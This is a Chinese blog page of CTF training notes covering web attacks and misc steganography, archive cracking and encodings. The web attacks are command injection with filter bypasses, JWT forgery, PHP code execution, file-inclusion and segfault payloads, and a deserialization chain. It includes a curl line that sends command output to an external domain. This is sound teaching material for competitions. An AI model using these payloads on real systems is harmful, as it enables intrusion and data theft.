我的GitHub
0%

赣银杯赛前培训

WEB

信息收集、爆破、认证

1.敏感文件泄露

2.dirsearch\dirb\

3.BURP

  • a.登录框->admin密码【登录获取flag】
  • b.给一个字典,爆出普通用户密码,登录后,有些权限验证方法
  • c.Cookie->user改为admin
  • d.JWT验证
  • i.修改算法
  • ii.算法改为None,none
  • iii.爆破密钥
  • iv.删除signature,删除签名

命令执行

1.成因

  • a.system(‘ping -c xxx $ip’)
  • b.ping -c 4 192.168.0.1
  • c.ping -c 4 asdasd| whoami

2.分隔符

  • a.| &
    • i.前一条执行结果当作下一条命令的参数 cat xxx | grep xxx
    • ii.前一条挂后台执行,直接执行下一条 ping -c 20 127.0.0.1 & ls
    • iii.[+] PID
    • iv.ls执行结果输出
    • v.xxxx ttl=xxxx
  • b.|| &&
    • i.|| 前一条执行失败则执行下一条 ping -c 4 asdadasd || ls
    • ii.&& 前一条执行成功则执行下一条 ping -c 4 127.0.0.1 && ls
  • c.><
    • i.>将标准输出流重定向到指定位置
    • ii.<将标准输入流重定向到指定位置
    • iii.nc -lnvp 7777 > 1.txt 【起一个监听,将监听到的内容输出到某个文件中】
    • iv.nc 127.0.0.1 7777 < 2.txt 【连接到127.0.0.1:7777并将2.txt文本作为输入】
    • v.0 1 2
      • 1.标准输入流 ls whoami pwd
      • 2.标准输出流 执行结果、信息一般是标准输出流
      • 3.标准错误流 ping -c 4 asdasdasd > 2.txt
  • d.; %0a
    • i.都是标识命令的结束符,ls;pwd;whoami

3.读文件

  • a.cat /flag
  • b.head tail
    • i.head -n 20 /flag 读文件头20行
    • ii.tail -n 20 /flag 从文件尾部读取20行
  • c.less more
    • i.分页读取文件
  • d.paste strings
    • i.paste file1 file2
  • e.base64
    • i.base64 /flag
    • ii.base64 /etc/passwd | base64 -d 解码base64内容
  • f.diff file1 file2
  • g.xxd -

4.绕过过滤

  • a.ca’’t /fl’’ag
  • b.x=ag;cat fl$x;
  • c.x=fl;y=ag;cat ${fl}${ag} cat ${x}ag
  • d./???/????64 /????123 【/bin/base64 /flag123】
  • e.cat /fl?? cat /f* 【cat /flag】
  • f.c\a\t /f\la\g
  • g../assdasd/asdasda/asdasdasd/asdassdasd/asdad/flag
    • i.长度限制15字符
    • ii.grep -r “flag” 【循环遍历当前目录下所有目录及文件找到flag】

5.空格过滤

  • a.%0b 垂直换行符
  • b.%0c 换页符
  • c.%09 制表符
  • d.%a0 硬空格
  • e.%20 普通空格
  • f.${IFS} cat${IFS}/flag cat$IFS$7flag

6.无回显

  • a.cat /flag > 1.txt 【/var/www/html】 直接访问1.txt
  • b.curl http://外部域名?cmd=ls|base64 【burp collaborator生成域名】

代码执行

1.原因

  • a.eval($_GET[1])
  • b.将用户输入的内容当成PHP代码进行解析

2.利用

  • a.phpinfo();
  • b.system(‘ls’);

3.一些过滤

  • a.只能用特殊符号但是不能用数字字母 【取反命令执行】
    • i.~phpinfo; 【取反】
    • ii.urlencode(~”phpinfo”); 【取反后url编码】
    • iii.~urldecode(“取反并编码后的内容”)();
  • b.异或命令执行
    • i.

文件包含

1.本地文件包含 /etc/passwd /etc/mysql/my.cnf 【读取配置文件查看服务配置信息】

2.远程文件包含 http://恶意域名/shell.txt 【包含远程恶意文件】

3.伪协议

  • a.php://filter/read=convert.base64-encode/resource=xxxx.php
  • b.php://data/text/plain,
  • c.data://text/plain,直接输入文本信息 file_get_contents($_GET[1])
  • d.1=data://text/plain,hello world
  • e.data:,

4.SESSION文件包含

  • a.>https://www.codenong.com/cs106498971/
  • b./tmp/sess_xxxxxxx 上传文件,upload_progress 并手动定义了PHPSESID
  • c.上传文件的内容就会临时包含在/tmp/sess_xxxxxx ,如果此时包含该sess文件并且上传的文件中有php代码,那么就会导致代码执行

5.PHP7 segment fault

  • a.
  • b. 段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录
  • c. 向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
  • d.
  • e. php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
  • f.
  • g. php<7.2版本用如下payload:
  • h.
  • i. http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd
  • j.
  • k. php7老版本通杀:
  • l.
  • m. php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
  • n.
  • o. 这种 包含 会导致php执行过程中出现segment fault,此时 上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除,这样就能达成getshell的目的。

6.日志包含

  • a./var/log/access.log
  • b./var/log/apache2/access.log
  • c./var/log/nginx/access.log
  • d.mysql日志
  • e.ssh日志

反序列化

1.序列化

  • a.原本的数据格式不适合直接传输存储
  • b.经过一系列规则转化为固定格式的字符串进行保存
  • c.serialize
  • d.b:1
  • i:12
  • s:5:”name1”
  • array(“a”=>”111”,”b”=>123);
  • a:2:{s:1:”a”;s:3:”111”;s:1:”b”;i:123;}
  • O:4:”user”:2:{s:4:”name”;s:8:”zhangsan”;* s:2:”id”;s:3:”007”;}

2.反序列化

  • a.经过规则将固定格式的字符串还原为原先的数据格式
  • b.unserialize(序列化后的字符串)
  • c.魔术方法
    • i.phpinfo();
    • ii.user->hello();
    • iii.魔术方法:满足一定条件,自动触发
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      __construct: 在创建对象时候初始化对象,一般用      于对变量赋初值。
      __destruct: 和构造函数相反,当对象所在函数调用 完毕后执行。
      __toString:当对象被当做一个字符串使用时调用。
      __sleep:序列化对象之前就调用此方法(其返回需要一 个数组)
      __wakeup:将在反序列化之后立即被调用,反序列化恢 复对象之前调用该方法
      __call:当调用对象中不存在的方法会自动调用该方 法。
      __get:在调用私有属性的时候会自动执行
      __isset()在不可访问的属性上调用isset()或empty ()触发
      __unset()在不可访问的属性上使用unset()时触发
      __invoke() 将对象当作函数来使用的时候,会自动调 用该方法,用“unset()”函数删除对象内部的私有成员 属性时,对象会自动调用__unset()函数来帮我们删除 对象内部的私有成员属性。
      __get()如果试图读取一个对象并不存在的属性的 时候,PHP就会给出错误信息。如果在类里添加 __get方法,并且我们可以用这个函数实现类似 java中反射的各种操作。
    • iv.
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      class cat{
      public paw;
      public name;

      function bark(){
      echo "meow";
      }

      function __destruct(){

      echo $this->name;
      }

      function __toString(){

      $a=$this->paw;
      $a();
      }

      function __invoke(){

      eval($this->name);
      }

      }

      $x=new cat;
      $x->name= new cat;
      $x->name->paw= new cat;
      $x->name->paw->name="system('ls');";

      echo urlecode(serialize($x));

MISC

随波逐流

编码

16 hex ecode

base64

base32

base家族其他编码

凯撒
栅栏
维吉尼亚

猪圈
键盘
敲击码

space编程
社会主义核心价值观编码
佛曰

各种各样的编码

图片

1.jpg

  • a.F5
  • b.jsteg隐写

2.png

  • a.IHDR IDAT IEND
  • b.IHDR隐藏信息
  • c.IDAT图片数据块的覆盖,需要上下移动数据块显示对应内容
  • d.会有个别数据块大小突兀,删除其他数据块显示真实数据
  • e.文件末尾提取
  • f.LSB隐写
    • i.255,255,255 0xFFFFFF
    • ii.0101010110101
    • iii.stegsolve
  • g.zsteg -a xxx.png
  • h.exiftools
    • i.stegsolve
    • i.
    • ii.发现图像各个通道平移了,用这个模块移动回去

3.gif

* a.stegsolve frame browser

4.其他工具

* a.steghide   加密码隐写
* b.silenteye   加密隐写

音频

1.audacity

  • a.波形图隐写
    • i.摩斯电码 010110,低高低高高低
  • b.频谱图隐写
    • i.查看声道频谱图发现画出的flag
    • ii.更新最新的audacity

视频

1.potplayer

  • a.逐帧查看视频,某些关键帧隐藏了flag内容或者提示信息
  • b.闪烁:黑白黑白,类似gif,二进制信息,01010000,提取之后用其他编码手段还原信息

2.其他

  • a.视频也会隐藏描述信息,010editor能够看到

压缩包

1.伪加密

2.密码爆破

  • a.ARCHPR进行密码爆破
  • b.zip2john >1.hash john 1.hash
  • c.rar2john

3.CRC爆破

4.明文攻击

5.随波逐流都有

文档

1.word

  • a.改为压缩包,从中查找隐藏信息
  • b.宏编程,vbs
  • c.脚本文件可能自带密码,找一些在线的word密码解密工具
  • d.vbs工程解密工具

2.excel

  • a.excel有加密,找在线解密

3.pdf

  • a.pdf2john > 1.hash john pdf.hash
我是阿星,阿星的阿,阿星的星!